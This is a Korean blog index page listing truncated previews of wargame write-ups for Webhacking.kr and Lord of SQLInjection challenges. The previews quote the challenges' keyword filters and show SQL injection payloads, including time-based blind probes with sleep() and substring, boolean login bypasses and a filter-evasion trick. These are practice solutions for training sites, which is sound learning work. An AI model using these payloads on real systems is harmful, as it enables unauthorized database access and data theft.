Wargame(hacking) (112) 썸네일형 리스트형 Webhacking.kr : old-60 Write-Up LORD OF SQLINJECTION : darkknight Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[.. Webhacking.kr : old-11 Write-Up 해당 문제는 아래의 정규 표현식에 맞춰, val 값을 request하면 해결할 수 있다. $pat 에 해당 하는 정규표현식 패턴은 아래와 같이 해석될 수 있다. [x-z] : range를 표현하며 x ~ z 사이의 문자를 의미한다. ( 하이픈(-)은 두 문자 사이의 범위(from - to)를 의미 ) x{n} : 반복을 표현하며 x 문자가 n번 반복됨을 의미한다. \t : tab 을 표현하며 탭 문자를 의미한다. . : 모든 문자열(숫자, 한글, 영어, 특수기호, 공백 모두! 단, 줄바꿈X * : 직전 문자 0번 이상 반복 최종 정답은 아래와 같다. ?val=2abcde_.119.203.7.102.%09p%09a%09s%09s +plus ?val=2cabcc_.....119.203.7.1.. Webhacking.kr : old-07 Wrtie-Up Webhacking.kr : old-21 Write-Up 처음 접근했던 방법 ( Fail ) ?id=1'+or+1%3d1+and+sleep(2)%23&pw=1 ?id=1'+or+1%3d1+AND+if(1%3d1,sleep(3),false)%23 위 payload를 통해, Time Based SQL Injection의 가능성을 보았다. ?id=1'+or+1%3d1+and+length(database())%3d10+and+sleep(5)%23&pw=1 위 payload로 db의 길이를 구할 수 있었다. ?id=1'+or+1%3d1+and+substring(database(),1,1)%3d'w'+and+sleep(5)%23&pw=1 ?id=1'+or+1%3d1+AND+if(ASCII(SUBSTRING(database(),2,1))%3d101,+sle.. LORD OF SQLINJECTION : golem Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); $_GET[pw] = addslashes($_GET[pw]); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 필터링 및 주요 조건은 위와 같다. pw에 알맞은 문자를 입력해야만 문제를 해결할 수 있다. pw를 구하기 위해, pw 길이 부터 구해보도록 한다. ?pw=1%27%20||%20id%20like%20%27admin%27%20%26%26%20length(pw)>8%23 ?p.. LORD OF SQLINJECTION : skeleton Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; if($result['id'] == 'admin') solve("skeleton"); result[id] 가 admin 일 시, 문제를 해결할 수 있다. 위의 코드에서 주의해서 봐야할 부분은 and 1=0이다. 1=0 이 아니기에, 그냥 두면 참이 될 수 없다. 그래서 아래와 같은 payload를 사용해 문제를 해결했다. ?pw=1%27%20or%20id%20like%20%27admin%27%23 ?pw=1%27%2.. LORD OF SQLINJECTION : vampire Write-Up 해당 문제의 필터링 및 적용되는 조건은 아래와 같다. if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); $_GET[id] = strtolower($_GET[id]); $_GET[id] = str_replace("admin","",$_GET[id]); ' 가 필터링 되며, strtolower()를 통해 대문자를 소문자로 변경한다. 그리고 str_replace()를 통해 id 인자 값에 admin이 포함될 시, ""(공백)으로 치환되어진다. 그래서 아래 그림 1과 같이 id=adadminmin 을 요청해 해당 조건을 우회했다. 이전 1 ··· 3 4 5 6 7 8 9 ··· 14 다음